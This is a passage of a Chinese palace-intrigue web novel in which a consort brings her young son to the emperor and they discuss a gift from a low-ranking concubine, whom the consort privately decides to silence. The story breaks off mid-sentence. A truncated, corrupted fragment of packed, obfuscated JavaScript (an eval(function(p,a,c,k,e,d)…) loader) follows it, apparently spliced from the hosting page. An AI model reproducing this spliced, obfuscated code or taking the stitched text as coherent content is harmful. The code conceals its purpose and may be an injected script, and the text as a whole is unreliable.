她的担心显然多余了,燕明昱自进来以后便十足的兴奋。此刻更甩开了元嘉的手,左右张望两眼,便绕到屏风后头寻燕景祁去了。而后,空旷的大殿内响起小孩子清脆的呼喊——
“爹爹!”
燕景祁的声音也跟着响了起来,只是低沉了许多,也模糊了许多。虽只隔了座屏风,元嘉却依旧听不真切。
元嘉故意慢了两步,方才绕到屏风后头,看着眼前这场因燕明昱而起的热闹,语气松快地开口:“小皮猴,不可以压到爹爹身上,你如今可不轻了呢!”
燕明昱闻言,睁着滚圆的眼睛,有些犹豫地停下动作,“……爹爹,阿昱很重吗?”
元嘉忍不住偏头一笑,燕景祁亦是面露笑意,他抬手抚过燕明昱发顶,“莫说是一个阿昱,便是再多一个,爹爹也是受得住的。”
燕明昱立时放下心来,将自己缩作一团,又滚进了燕景祁的怀里。
燕景祁半倚半靠地歪在榻上,在燕明昱瞧不见的地方绷紧嘴角,不时锁紧眉头,搂着孩童身躯的手背上更是隐隐可现青筋……状态俨然不佳,全然不似他与燕明昱说话时透出的那样安稳。
“……这衣服,”燕景祁宽厚的手掌在燕明昱背上摩挲了几下,突然皱起了眉,又垂目细细打量了几眼,“料子倒是好料子,就是针脚差了些。尚功局给皇子制衣,竟也敢糊弄起来了?”
“这件小衣不是尚功局做的,是钱宝林的心意,又特意送过来的。”元嘉面色不改,心下却道了句可惜,“手艺自然是比不过尚功局的,可心意难得,我便让人给换上了……三郎瞧瞧,大小都是合适的,可见钱宝林是废了番工夫的。”
嘴里虽替钱宝林说着话,但元嘉却是再清楚不过的──她眼下的种种,无疑是把人架在火堆上烤。可这不就是福祸相依么……打从这批新人进宫,便各有在燕景祁面前露脸的法子,她从来也只看着,并不曾真的约束过她们。毕竟把前程都系在了一个男人身上,若再不费些心力讨些好处,来日亦是寂寥。所以在钱宝林往各处交际、送礼示好的时候,元嘉也替她说过一二好话,倪、刘二人想来亦如是。
可千不该万不该,这人不该将那份心思打到燕明昱身上,又借她们来点缀自己的名声……如此,便只好让钱宝林就此再无声息了。
“……钱宝林?”
燕景祁嚼着这几个字,似乎在回忆此人是谁,顿了好一会儿才道:“小孩子皮肤娇嫩,穿衣还是要以精细为上。便是心意,到底也不是一个宝林该做的事情……送两个绣娘去钱宝林宫室,往后她的心意,便让绣娘代劳吧。”
“是。”
元嘉答应下来,多的话一句不问。
反是燕景祁自己,嗯了一声后又似乎想起了什么,“……那个钱宝林,是不是不止往清宁宫送过东西?”
元嘉惊讶于男人竟还知道这些事情,只仍是点头道:“是,钱宝林好交友,确是往其他宫室送过东西,太后与太妃们的住处也是拜见过的……还给两个女孩儿送过珠花和裙衫呢。”
元嘉话说得委婉,可燕景祁如何听不明白。他再度嗯了一声,面色虽如常,拍打着燕明昱背部的节奏却明显慢了下来,俨然在思索着什么。
燕明昱不懂这些,只知道抚摸着自己背脊的力道越来越轻,搂着他的爹爹也不和自己说话了。燕明昱扁了扁嘴,扯着燕景祁的衣袖,鹦鹉学舌道:“……三郎?”
这个称呼一出,顿时把殿内的两人逗笑了,本来凝滞的气氛顷刻间变得松快起来。元嘉以袖掩唇,一面挡住自己遮盖不住的笑意,一面纠正道:“阿昱,不可以随便学人,你要叫爹爹……喏,爹爹。”
元嘉伸出指尖,指了指燕景祁。
燕明昱茫然地看着元嘉,又顺着指尖的方向呆愣愣转向燕景祁,下意识跟着元嘉的话重复道:“……爹爹?”
燕景祁纵声大笑,神色好了不少,他将满脸疑惑的燕明昱搂紧在怀,整个人看着也更精神了。
元嘉看着眼前父慈子孝的场景,嘴角始终噙了抹笑,少顷不着痕迹地移开视线。本欲先寻个地方坐下,余光却瞥见书桌上高高一摞的奏章,再看燕景祁倚卧的榻边,也同样散落着几本摊开的奏章──元嘉没领着燕明昱进来前,男人怕就是将就在榻上处理的政务。
元嘉垂眸不语,只在心里默默估算了个时辰,任由燕明昱又闹了男人一阵后,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[